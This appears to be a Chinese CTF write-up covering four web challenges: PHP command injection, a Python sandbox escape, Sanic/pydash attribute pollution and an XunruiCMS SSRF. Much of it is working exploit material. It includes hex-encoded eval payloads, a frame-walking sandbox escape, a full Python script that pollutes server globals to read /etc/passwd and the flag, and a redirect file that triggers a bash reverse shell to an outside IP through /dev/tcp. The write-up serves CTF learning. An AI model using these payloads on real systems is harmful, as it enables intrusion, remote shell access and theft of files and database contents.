Simple_php

小明在学习CTF的过程中遇到了一道PHP的题目,以他有限的水平做不出来,可以帮帮他吗?

使用php -r,后面的部分编码绕过

ban了引号,使用hex2bin

因此payload格式为php -r eval(hex2bin(16进制));

  1. php -r: 这是 PHP 命令行解释器的选项,表示以 “运行” 模式执行 PHP 代码。
  2. eval(): PHP 中的 eval() 函数用来执行一个字符串形式的 PHP 代码。eval() 函数接收一个字符串作为参数,并将该字符串作为 PHP 代码进行执行。简单来说,它可以将一个字符串动态地转化为可执行的 PHP 代码。
  3. hex2bin(): PHP 中的 hex2bin() 函数将十六进制字符串转换为二进制字符串。
1
2
3
4
5
<?php
$a = "echo system('ls /');";
$b = bin2hex($a);
echo $b
?>

image-20240626142048030

下面这段报错,因为加不了引号,开头是数字的话,就会将类型识别为数字,若后续出现了字符串就会报错

image-20240626142638901

使用substr进行截取,将类型转为字符串

1
cmd=php -r  eval(hex2bin(substr(a6563686f2073797374656d28276c73202f27293b,1)));

image-20240626142443214

搜索flag

image-20240626142954714

image-20240626142947616

web目录没有flag,考虑数据库,接下来连接数据库执行命令

1
2
3
4
5
6
7
<?php
//$a = "echo `mysql -u root -p'root' -e 'show databases;'`;";
//$a = "echo `mysql -u root -p'root' -e 'use PHP_CMS;show tables;'`;";
$a = "echo `mysql -u root -p'root' -e 'use PHP_CMS;show tables;select * from F1ag_Se3Re7;'`;";
$b = bin2hex($a);
echo $b
?>

image-20240626144513059

mossfern

小明最近搭建了一个学习 Python 的网站,他上线了一个 Demo。据说提供了很火很安全的在线执行功能,你能帮他测测看吗?

代码见附件

python栈帧沙箱逃逸

Python利用栈帧沙箱逃逸 - 先知社区 (aliyun.com)

前置知识:

这是一个简单的生成器

image-20240626150052516

生成器的属性

gi_code: 生成器对应的code对象。
gi_frame: 生成器对应的frame(栈帧)对象。
gi_running: 生成器函数是否在执行。生成器函数在yield以后、执行yield的下一行代码前处于frozen状态,此时这个属性的值为0。
gi_yieldfrom:如果生成器正在从另一个生成器中 yield 值,则为该生成器对象的引用;否则为 None。
gi_frame.f_locals:一个字典,包含生成器当前帧的本地变量。

着重介绍一下 gi_frame 属性

gi_frame 是一个与生成器(generator)和协程(coroutine)相关的属性。它指向生成器或协程当前执行的帧对象(frame object),如果这个生成器或协程正在执行的话。帧对象表示代码执行的当前上下文,包含了局部变量、执行的字节码指令等信息。

下面是一个简单的示例,演示了如何使用生成器的 gi_frame 属性来获取生成器的当前帧信息:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
def my_generator():
yield 1
yield 2
yield 3

gen = my_generator()

# 获取生成器的当前帧信息
frame = gen.gi_frame

# 输出生成器的当前帧信息
print("Local Variables:", frame.f_locals)
print("Global Variables:", frame.f_globals)
print("Code Object:", frame.f_code)
print("Instruction Pointer:", frame.f_lasti)

image-20240626150412053

栈帧(frame)

在 Python 中,栈帧(stack frame),也称为帧(frame),是用于执行代码的数据结构。每当 Python 解释器执行一个函数或方法时,都会创建一个新的栈帧,用于存储该函数或方法的局部变量、参数、返回地址以及其他执行相关的信息。这些栈帧会按照调用顺序被组织成一个栈,称为调用栈。

栈帧包含了以下几个重要的属性:
f_locals: 一个字典,包含了函数或方法的局部变量。键是变量名,值是变量的值。
f_globals: 一个字典,包含了函数或方法所在模块的全局变量。键是全局变量名,值是变量的值。
f_code: 一个代码对象(code object),包含了函数或方法的字节码指令、常量、变量名等信息。
f_lasti: 整数,表示最后执行的字节码指令的索引。
f_back: 指向上一级调用栈帧的引用,用于构建调用栈。

利用栈帧沙箱逃逸

原理就是通过生成器的栈帧对象通过f_back(返回前一帧)从而逃逸出去获取globals全局符号表
例如:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
s3cret="this is flag"

codes='''
def waff():
def f():
yield g.gi_frame.f_back

g = f() #生成器
frame = next(g) #获取到生成器的栈帧对象
b = frame.f_back.f_back.f_globals['s3cret'] #返回并获取前一级栈帧的globals
return b
b=waff()
'''
locals={}
code = compile(codes, "test", "exec")
exec(code,locals)
print(locals["b"])

运行得到 this is flag ,成功逃逸出沙箱获取到s3cret变量值

这里也可以使用f_locals去代替f_globals效果是相同的,但是要注意,locals返回的是局部符号表,它包含了在当前函数或方法内部定义的变量。这些局部变量只在当前函数或方法的执行过程中存在,并且只能在该函数或方法内部访问。当函数执行完毕后,这些局部变量就会被销毁。

image-20240626150941807

image-20240626151020426

开始做题

查看源码

image-20240626145402313

最后注意要将获取的变量元组转字符串,再用逗号分隔,依次输出,从而绕过seed

payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
def getflag():
def f():
yield g.gi_frame.f_back

g = f()
frame=[x for x in g][0]
gattr = frame.f_back.f_back.f_back.f_locals['_'+'_builtins_'+'_']

code = frame.f_back.f_back.f_back.f_code

dir = gattr.dir
str = gattr.str
print(dir(code))

for i in str(code.co_consts):
print(i,end=",")

getflag()

post传参

image-20240628131338769

\n全部替换掉

image-20240628131740229

sanic

CISCN2024-WEB-Sanic gxngxngxn - gxngxngxn - 博客园 (cnblogs.com)

题目描述:sanic能有什么问题呢?

敏感目录

1
2
/admin
/src

/admin被forbidden

/src

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from sanic import Sanic
from sanic.response import text, html
from sanic_session import Session
import pydash
# pydash==5.1.2


class Pollute:
def __init__(self):
pass


app = Sanic(__name__)
app.static("/static/", "./static/")
Session(app)


@app.route('/', methods=['GET', 'POST'])
async def index(request):
return html(open('static/index.html').read())


@app.route("/login")
async def login(request):
user = request.cookies.get("user")
if user.lower() == 'adm;n':
request.ctx.session['admin'] = True
return text("login success")

return text("login fail")


@app.route("/src")
async def src(request):
return text(open(__file__).read())


@app.route("/admin", methods=['GET', 'POST'])
async def admin(request):
if request.ctx.session.get('admin') == True:
key = request.json['key']
value = request.json['value']
if key and value and type(key) is str and '_.' not in key:
pollute = Pollute()
pydash.set_(pollute, key, value)
return text("success")
else:
return text("forbidden")

return text("forbidden")


if __name__ == '__main__':
app.run(host='0.0.0.0')

image-20240626163648102

因为传cookie时会在;处自动截断,在/login路由处我们需要绕过**user.lower() == ‘adm;n’**的限制

考的是 RFC2068 的编码规则:

image-20240626163849855

RFC 2068 编码 实际上是使用八进制转义字符来表示特殊字符。\073 就是分号(;)的八进制转义字符表示。

符号 八进制转义字符
! \041
\042
# \043
$ \044
% \045
& \046
\047
( \050
) \051
* \052
+ \053
, \054
- \055
. \056
/ \057
: \072
; \073
< \074
= \075
> \076
? \077
@ \100
[ \133
\ \134
] \135
^ \136
_ \137
` \140
{ \173
} \175
~ \176

image-20240626163812753

成功拿session,然后就是打/admin路由,传key和value的json打原型链。

首先看到这个,污染该属性后就可以任意文件读取了

image-20240626170123412

1
{"key":".__init__\\\\.__globals__\\\\.__file__","value": "/etc/passwd"}

image-20240626170721315

访问src

image-20240626170827668

成功污染,但是尝试读取/flag时发现无法读取,也就是不知道flag的位置。

需要我们利用污染的方式开启列目录功能,查看根目录下flag的名称,再进行读取

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import requests

url = 'http://8af1b595-5c21-4283-9a47-091b8e66b015.challenge.ctf.show'

s = requests.Session()

s.cookies.update({
'user': '"adm\\073n"'
})

s.get(url + '/login')

# 开启目录浏览
data = {"key": "__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\.static.handler.keywords.directory_handler.directory_view", "value": True}

# 污染目录路径
# data = {"key": "__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\.static.handler.keywords.directory_handler.directory._parts", "value": ['/']}

r = s.post(url + '/admin', json=data)
print(r.text)

# 获取flag路径
r = s.get(url + '/static/')
print(r.text)


# 污染__file__,读取flag
data = {"key": "__class__\\\\.__init__\\\\.__globals__\\\\.__file__", "value": "/24bcbd0192e591d6ded1_flag"}
r = s.post(url + '/admin', json=data)
print(r.text)
print(s.get(url + '/src').text)

image-20240626170309392

image-20240626171730271

easycms

简单的cms,可以扫扫看?

提示1: /flag.php:

1
2
3
4
5
6
if($_SERVER["REMOTE_ADDR"] != "127.0.0.1"){
echo "Just input 'cmd' From 127.0.0.1";
return;
}else{
system($_GET['cmd']);
}

提示2:github找一下源码?

image-20240626180346400

访问flag.php

image-20240626180510481

后面公布了flag.php的源码

1
2
3
4
5
6
if($_SERVER["REMOTE_ADDR"] != "127.0.0.1"){
echo "Just input 'cmd' From 127.0.0.1";
return;
}else{
system($_GET['cmd']);
}

$_SERVER[“REMOTE_ADDR”]限制了请求来自本地, 所以得从其他地方入手。于是开始看这个讯睿CMS的源码。

image-20240626181253764

迅睿CMS漏洞公示,四川迅睿云软件开发有限公司厂商的漏洞列表 (xunruicms.com)

image-20240626181444293

C:\Users\31702\Downloads\xunruicms-master\dayrui\Fcms\Control\Api下的api.php中的dr_catcher_data函数存在SSRF

1
http://example.com/index.php?s=api&m=qrcode&c=api&text=1&thumb=http://127.0.0.1/flag.php?cmd=whoami

dr_catcher_data跳转

image-20240626183133477

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
/**
* 二维码显示
*/
public function qrcode() {

$value = urldecode(\Phpcmf\Service::L('input')->get('text'));
$thumb = urldecode(\Phpcmf\Service::L('input')->get('thumb'));
$matrixPointSize = (int)\Phpcmf\Service::L('input')->get('size');
$errorCorrectionLevel = dr_safe_replace(\Phpcmf\Service::L('input')->get('level'));

//生成二维码图片
require_once CMSPATH.'Library/Phpqrcode.php';
$file = WRITEPATH.'file/qrcode-'.md5($value.$thumb.$matrixPointSize.$errorCorrectionLevel).'-qrcode.png';
if (is_file($file)) {
$QR = imagecreatefrompng($file);
} else {
\QRcode::png($value, $file, $errorCorrectionLevel, $matrixPointSize, 3);
$QR = imagecreatefromstring(file_get_contents($file));
if ($thumb) {
$logo = imagecreatefromstring(dr_catcher_data($thumb));
$QR_width = imagesx($QR);//二维码图片宽度
$QR_height = imagesy($QR);//二维码图片高度
$logo_width = imagesx($logo);//logo图片宽度
$logo_height = imagesy($logo);//logo图片高度
$logo_qr_width = $QR_width / 4;
$scale = $logo_width/$logo_qr_width;
$logo_qr_height = $logo_height/$scale;
$from_width = ($QR_width - $logo_qr_width) / 2;
//重新组合图片并调整大小
imagecopyresampled($QR, $logo, $from_width, $from_width, 0, 0, $logo_qr_width, $logo_qr_height, $logo_width, $logo_height);
imagepng($QR, $file);
}
}

// 输出图片
ob_start();
ob_clean();
header("Content-type: image/png");
ImagePng($QR);
exit;
}

传入四个参数,其中text,size,level是关于二维码的信息,thumb是关于logo的信息,logo就有时候在二维码中间的那个小图片

用四个参数命名为一个文件名,如果存在则直接读出$QR(图片对象),若不存在则创建一个图片对象

检测是否需要logo,如果需要logo,就重新调整图片并且插入logo

跳转/dayrui/Fcms/Core/Helper.php

1
2
3
function dr_qrcode_url($text, $uid = 0, $level = 'L', $size = 5) {
return ROOT_URL.'index.php?s=api&c=api&m=qrcode&uid='.urlencode($uid).'&text='.urlencode($text).'&size='.$size.'&level='.$level;
}
  • dr_catcher_data($thumb): dr_catcher_data() 函数用于获取外部资源数据。如果攻击者能够控制 $thumb 参数的值,他们就可以利用 dr_catcher_data() 函数访问任意 URL,从而引发 SSRF 攻击。

直接弹shell没成功

payload

1
/index.php?s=api&c=api&m=qrcode&text=1&thumb=http://111.229.207.141:7777/302.php&size=10&level=1

在自己的vps写好跳转,然后在cmd上写上反弹shell即可

1
2
3
4
<?php 
header('location:http://127.0.0.1/flag.php?cmd=bash%20-c%20%22bash%20-i%20%3E&%20/dev/tcp/111.229.207.141/8888%20%3C&1%22',true,302);
exit();
?>